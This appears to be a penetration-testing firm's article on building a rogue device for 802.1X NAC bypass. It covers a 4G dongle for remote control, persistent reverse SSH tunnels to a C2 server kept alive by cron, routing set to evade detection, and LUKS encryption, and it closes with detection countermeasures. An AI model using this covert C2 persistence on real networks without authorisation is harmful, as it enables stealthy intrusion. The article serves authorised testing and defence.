In February 2019, we presented a solution for bypassing a port-based network access control according to IEEE 802.1X in the article NAC-Bypass – A practical implementation and published a bash script in our GitHub repository. One of the open issues at the end of this article was the implementation of a management interface in the form of a WLAN adapter or USB modem dongle. This article addresses that task among others.

If such a device, known as a rogue device, is placed in the customer’s corporate network during an assessment, the data stored on it should be secured. This is both for self-protection, as key material for remote connections is stored on the device, and to ensure that the credentials and access tokens gathered during the assessment are stored securely. Therefore, we will also look at encrypting the device in this article.

An ARM-based device such as a Raspberry Pi or an x64-based device such as from Protectli can be used as a platform for a rogue device. The device should be handy and have multiple network and USB ports. Any Linux distribution can run on it. For ARM devices, the tools to be used must also be available in ARM versions, which may involve additional effort, as binaries for ARM outside the distribution’s package management system must be compiled.

Remote Control

The rogue device can establish an independent channel by using an alternative network medium such as WLAN or mobile data connection. For example, the Huawei 4G Dongle E3372-325 (BROVI) is suitable for a mobile data connection. After purchase, the dongle’s firmware should be updated to avoid problems when used with Linux. To use the Huawei dongle, udev rules and a bash script are required, both of which we have uploaded to our GitHub repository: 40-huawei-brovi.rules and brovi_switch. The bash script ensures that the Huawei dongle is not only connected as a data storage device, but that a USB mode switch is performed and the modem component is loaded.

As the NetworkManager network service is disabled for the NAC bypass, the network configuration for the Huawei dongle must be set manually or via a configuration file. Additionally, a route to the Command and Control (C2) server, accessible at the IP address 198.51.100.23, can be specified in the configuration. This ensures that the connection to the C2 server is made via the mobile network. On a Debian-based distribution, the following configuration is required in /etc/network/interfaces.d/usb0.

auto usb0
    allow-hotplug usb0
    iface usb0 inet dhcp
    up ip route add 198.51.100.23/32 via 192.168.8.1 dev usb0

The Huawei dongle is now ready for use and an Internet connection should be established when the device is plugged in.

SSH Tunnelling

If the rogue device is connected to the Internet, the IP address of the device is not known. In addition, the USB dongle uses Network Address Translation (NAT). It is therefore not possible to establish a direct connection to the device. One solution is to use SSH tunnelling. An OpenSSH server is running on both systems, a user named rogue01 is created on the C2 server and an SSH key pair is generated on the rogue device. The user is used to establish a tunnel via SSH Remote Port Forwarding.

ssh -N -R 44444:localhost:22 -p 22222 -i ~/.ssh/id_ed25519 rogue01@198.51.100.23 >/dev/null 2>&1 &

The command will be executed on the rogue device. This command allows any user on the C2 server 198.51.100.23 to access the local port 44444/tcp, and when accessed, the connection is tunnelled to the rogue device and a local connection is made to port 22/tcp there. This opens an SSH session on the rogue device without the rogue device being directly accessible from the Internet.

The connection to the C2 server is established immediately after startup. At a set interval, the connection is verified to see if it still exists, and if it does not, it is re-established. At longer intervals, the connection is completely rebuilt. The reset ensures that a dead connection with a running process is identified and killed. With this procedure, the connection to the rogue device is not completely lost in the event of a temporary network outage but is re-established at a defined interval. We have implemented this in a simple bash script.

#/bin/bash
HOST="198.51.100.23"
RPORT="22222"
LPORT="44444"
USER="rogue01"
IDENTITY="~/.ssh/id_ed25519"
PATTERN="rogue"
FLAG=$1

# Search for ssh process
PID=$(ps axf | grep ssh | grep $PATTERN | awk '{print $1}')

# If reset flag is set, kill connection
if [ "$FLAG" = "RESET" ]
then
    kill -9 $PID
    PID=
fi

# Check if connection is already established
if [ -z "$PID" ]
then
    echo "Not running"
    ssh -N -R $LPORT:localhost:22 -p $RPORT -i $IDENTITY $USER@$HOST >/dev/null 2>&1 &
else
    echo "Running"
    # Do nothing
fi

The script is invoked by cron jobs immediately after startup, every 5 minutes to check the connection, and every 30 minutes to reset the connection:

# Add a cron job to the rogue device to establish a connection after boot
@reboot sleep 120 && bash ~/scripts/connect.sh > /dev/null 2>&1

# Check every 5 minutes if connection is still running
*/5 * * * * bash ~/scripts/connect.sh > /dev/null 2>&1

# Reset the connection all 30 minutes
*/30 * * * * bash ~/scripts/connect.sh "RESET" > /dev/null 2>&1

This ensures remote communication with the rogue device placed in a customer’s network. The rogue device connects via mobile data connection and can be remotely controlled over SSH. This means that the device can operate autonomously for several days without physical access.

Monitoring

The rogue device’s connection can be monitored on the C2 server. In its simplest form by analysing the log file for authentication:

sudo tail -f /var/log/auth.log | grep sshd

It may happen that a connection is broken, but the process is not completely terminated. If the SSH process on the C2 server keeps running and the rogue device tries to reconnect, the port forwarding setup will fail. It is therefore worth keeping an eye on the logs or implementing session management that automatically detects and removes such dead connections.

If the rogue device falls into the wrong hands and the key material can be extracted, there is a chance that someone will want to log in to the C2 server as the user. To detect this and prevent damage, the SSH configuration setting ForceCommand can be used to specify a command to be executed when the user logs in. In this example, a notification will be sent about the attempted login to a Slack channel and the connection will be terminated. This is done by creating an entry for the rogue device user in the /etc/ssh/sshd_config file.

# Notification for Rogue Device
Match User rogue01
    ForceCommand /opt/notify/notify.sh

The script connects to a Slack channel via a webhook and posts the login attempt.

#!/bin/bash

url="https://hooks.slack.com/services/<secret>"
channel="#channel"
host="`hostname`"
content="\"attachments\": [ { \"mrkdwn_in\": [\"text\", \"fallback\"], \"fallback\": \"SSH login: $USER connected to \`$host\`\", \"text\": \"SSH login to \`$host\`\", \"fields\": [ { \"title\": \"User\", \"value\": \"$USER\", \"short\": true }, { \"title\": \"IP Address\", \"value\": \"$SSH_CLIENT\", \"short\": true } ], \"color\": \"#F35A00\" } ]"

curl -s -X POST --data-urlencode "payload={\"channel\": \"$channel\", \"mrkdwn\": true, \"username\": \"ssh-bot\", $content, \"icon_emoji\": \":computer:\"}" $url

Alternatively, the login notification can be skipped. The user will be assigned the shell /usr/sbin/nologin.

NAC Bypass

Once the SSH tunnel is established, the NAC bypass script can be run manually. The remote connection should be unaffected. If the services on the corporate network cannot be reached, this can be corrected by setting routing metrics.

$ sudo ip route replace default via 169.254.66.1 dev br0 metric 10
$ sudo ip route del default via 169.254.66.1 dev br0
$ sudo ip route replace default via 192.168.8.1 dev usb0 metric 100
$ sudo ip route del default via 192.168.8.1 dev usb0

The routing table should now look like this:

$ ip route
default via 169.254.66.1 dev br0 metric 10
default via 192.168.8.1 dev usb0 metric 100
198.51.100.23 via 192.168.8.1 dev usb0
169.254.0.0/16 dev br0 proto kernel scope link src 169.254.66.66
192.168.8.0/24 dev usb0 proto kernel scope link src 192.168.8.101

It is important that the route to the C2 server is not removed, otherwise the connection will be lost or routed through the corporate network and the attack could be detected.

Data Encryption

The rogue device is placed during an assessment and may be out of our control for days. Therefore, as part of Operations Security (OPSEC), access to data on the device must be protected. This includes encrypting the hard drive of the rogue device. On a Raspberry Pi, hard drive encryption cannot be applied during the installation process because the OS image is copied directly to an SD card. Therefore, the encryption process with LUKS must be done afterwards. The complex process is described step by step in the article LUKS on Raspberry Pi.

When the device is set up on site, no monitor or keyboard is connected. Automatic decryption of the hard disk during the boot process is not an option, otherwise the device could be booted by unauthorised persons. Either a key can be stored on a USB stick and plugged in at boot time, or the passphrase for decrypting the hard drive can be entered automatically by a device such as USB Rubber Ducky. The Ducky script for this is:

DELAY 1000
STRING <passphrase>
ENTER

For the appropriate value of the DELAY parameter, you should experiment to see how much time elapses after powering up the unit and initialising the USB devices so that the passphrase entry is not interrupted by other events. The value also depends on the speed of the hardware used. The USB stick containing the key material or passphrase is removed after the device has started up.

If the device falls into unauthorised hands, the data is protected when the hard drive or SD card is removed from the device, or the power is disconnected. A strong, randomly generated passphrase should be used to make brute force attacks unlikely. The same applies to passwords for user accounts on the device.

Not only does the rogue device need to be protected from forensic investigation, but since sensitive data such as credentials may be on the device during the assessment, access to it also needs to be protected. Such data should only remain on the device for as long as necessary and should be extracted via the remote connection as soon as possible.

If for some reason the hard disk or SD card cannot be encrypted, the use of an encrypted container is a backup plan. A container is created, decrypted when required and mounted on the system. When the container is no longer needed, it must be unmounted, otherwise the data is not protected. Such a container is created with LUKS as follows:

$ PROJECT="whisky"
$ dd if=/dev/zero of=$PROJECT.img bs=1 count=0 seek=256M
$ sudo cryptsetup luksFormat $PROJECT.img
$ sudo cryptsetup luksOpen $PROJECT.img $PROJECT
$ sudo mkfs.ext4 /dev/mapper/$PROJECT
$ mkdir ~/$PROJECT
$ sudo mount /dev/mapper/$PROJECT $HOME/$PROJECT

The container will be mounted on demand, the data will be stored and/or processed and then the container will be unmounted again.

Countermeasures

The placement of a rogue device via a NAC bypass attack is technically difficult to prevent in a wired network. If attackers gain access to a device, it can be misused. The use of a permanent VPN connection, commonly referred to as Zero Trust, which is also required on the corporate network, can prevent the misuse of laptops for bypassing. For network printers, restrictions should be placed on which systems and other network zones a printer can reach.

One way to detect an attack is to physically detect unknown devices and to detect anomalies in network traffic. On the one hand, these anomalies can be misconfigurations by the attacker, such as unusual requests from his device to external NTP servers or DNS requests to external domains, or if the mobile data connection is not being used due to routing errors. On the other hand, an attacker’s activity on the network can be identified.

There are several ways to detect attack activity. One way is to analyse firewall logs at zone boundaries to detect port scans, for example. Placing honeypots on the network is an effective detection method. A system is placed on the network that listens for incoming connections on all network ports. As this system is not used for business purposes, any interaction with this device can be classified as an illegitimate action and lead to an alert.

Conclusion

By using an alternative network medium, a rogue device can be controlled independently from a remote location. The approach described using a USB dongle from a mobile phone is just one of the possibilities; it would also be possible to use a WLAN. By setting up routing rules, our NAC bypass script can be used without further customisation. To protect the device and the data on it from unauthorised access, we recommend using rogue devices with full disk encryption. The development of a rogue device is far from complete, we will be adding and releasing more features in the future. We welcome feedback, suggestions for improvement and pull requests.

About the Author

Michael Schneider has been in IT since 2000. Since 2010 he is focused on information security. He is an expert at penetration testing, hardening and the detection of vulnerabilities in operating systems. He is well-known for a variety of tools written in PowerShell to find, exploit, and mitigate weaknesses. (ORCID 0000-0003-0772-9761)

Links

• https://1.ieee802.org/security/802-1x/
• https://eu.protectli.com/product-comparison/
• https://github.com/scipag/nac_bypass
• https://github.com/scipag/nac_bypass/blob/master/files/etc_udev_rules.d_40-huawei-brovi.rules
• https://github.com/scipag/nac_bypass/blob/master/files/usr_local_bin_brovi_switch
• https://rr-developer.github.io/LUKS-on-Raspberry-Pi/
• https://shop.hak5.org/products/usb-rubber-ducky
• https://www.raspberrypi.com/products/